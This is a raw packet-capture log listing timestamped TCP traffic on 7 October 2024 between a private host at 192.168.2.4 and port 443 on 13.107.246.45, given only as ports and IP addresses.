Oct 7, 2024 18:44:07.955579042 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.956186056 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.956204891 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.956219912 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.956227064 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.963886976 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.963979959 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.964061975 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.964395046 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.964440107 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.966087103 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.966113091 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.966177940 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.966487885 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.966512918 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.471009016 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.471734047 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.471752882 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.472445965 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.472451925 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.491647005 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.492199898 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.492212057 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.492842913 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.492846966 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.567004919 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.567348003 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.567418098 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.567531109 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.567625046 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.567719936 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.568207026 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.568223000 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.568564892 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.568581104 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.568591118 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.568594933 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.572455883 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.572525978 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.572643042 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.572904110 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.572932005 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.575859070 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.576803923 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.576865911 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.577147007 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.577162027 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.580753088 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.581759930 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.581790924 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.582170963 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.582182884 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.587974072 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.588124990 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.588218927 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.588430882 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.588448048 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.588459015 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.588464022 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.591475010 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.591505051 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.591562986 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.591692924 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.591701031 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.666307926 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.666363955 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.666723967 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.666723967 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.666723967 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.669291019 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.669328928 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.669403076 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.669555902 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.669569969 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.670814037 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.670979023 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.671143055 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.671143055 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.671143055 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.672986984 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.672996044 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.673077106 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.673250914 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.673260927 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.676101923 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.676295042 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.676358938 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.676389933 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.676434040 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.676465988 CEST	53709	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.676481962 CEST	443	53709	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.678277969 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.678314924 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.678389072 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.678514004 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.678527117 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.974284887 CEST	53710	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.974318027 CEST	443	53710	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:08.974350929 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:08.974390984 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.423127890 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.423670053 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.423701048 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.424160957 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.424170971 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.428693056 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.429120064 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.429155111 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.429645061 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.429651976 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.489906073 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.491166115 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.491199970 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.492039919 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.492047071 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.505309105 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.511723995 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.511759043 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.512372017 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.512383938 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.525116920 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.525181055 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.525233030 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.525413036 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.525434971 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.525448084 CEST	53711	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.525454044 CEST	443	53711	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.528379917 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.528470993 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.528558016 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.528789043 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.528817892 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.530455112 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.530822992 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.530849934 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.531413078 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.531419039 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.535371065 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.535552979 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.535615921 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.535643101 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.535655022 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.535681009 CEST	53712	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.535686016 CEST	443	53712	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.537955999 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.537998915 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.538079977 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.538233042 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.538249969 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922622919 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922691107 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922703028 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922774076 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922794104 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.922848940 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922882080 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.922890902 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.922943115 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.923007011 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.923027039 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.923038960 CEST	53713	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.923043966 CEST	443	53713	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.923110962 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.923130035 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.923141956 CEST	53715	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.923146963 CEST	443	53715	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.924674988 CEST	53714	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.924689054 CEST	443	53714	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.928411007 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.928446054 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.928504944 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.928647041 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.928705931 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.928760052 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929075956 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929112911 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.929168940 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929261923 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929291010 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.929354906 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929368019 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:09.929500103 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:09.929519892 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.256346941 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.258060932 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.258096933 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.258574963 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.258583069 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.280399084 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.281995058 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.282020092 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.282475948 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.282480955 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.357080936 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.357139111 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.357426882 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.357501030 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.357534885 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.357553959 CEST	53716	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.357561111 CEST	443	53716	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.360681057 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.360783100 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.360872030 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.361032009 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.361052036 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.380239010 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.380418062 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.380496025 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.380753040 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.380773067 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.380785942 CEST	53717	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.380790949 CEST	443	53717	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.383430958 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.383502960 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.383590937 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.383836985 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.383868933 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.578694105 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.579258919 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.579299927 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.579802990 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.579814911 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.587874889 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.589729071 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.589760065 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.590188026 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.590193987 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.590950012 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.593640089 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.593667030 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.594043016 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.594047070 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.674789906 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.674885988 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.675183058 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.675447941 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.675477982 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.675497055 CEST	53719	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.675504923 CEST	443	53719	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.679157972 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.679259062 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.679377079 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.679552078 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.679577112 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.716864109 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717026949 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717230082 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717259884 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717272997 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717283964 CEST	53720	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717288971 CEST	443	53720	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717550993 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717650890 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717713118 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717798948 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717809916 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.717820883 CEST	53718	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.717825890 CEST	443	53718	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.720288992 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720319033 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.720388889 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720423937 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720447063 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.720562935 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720577955 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.720592022 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720738888 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.720751047 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.990362883 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.991442919 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.991468906 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.991955996 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.991961956 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.996639013 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.997829914 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.997860909 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:10.998284101 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:10.998291969 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295648098 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295649052 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295681000 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295713902 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295749903 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.295783997 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.295783997 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.295831919 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.295985937 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.296010971 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.296024084 CEST	53722	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.296030045 CEST	443	53722	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.297319889 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.297324896 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.297336102 CEST	53721	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.297338963 CEST	443	53721	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.299974918 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.300015926 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.300086975 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.300407887 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.300417900 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.300954103 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.300997019 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.301393032 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.301474094 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.301486015 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.473803997 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.474577904 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.474591970 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.475115061 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.475132942 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.475136995 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.475824118 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.475857973 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.476339102 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.476344109 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.477078915 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.477413893 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.477449894 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.477812052 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.477829933 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.570091963 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.570130110 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.570192099 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.570214987 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.570252895 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.570471048 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.570487022 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.570496082 CEST	53724	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.570501089 CEST	443	53724	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.574284077 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.574307919 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.574443102 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.574775934 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.574790955 CEST	443	53728	13.107.246.45	192.168.2.4
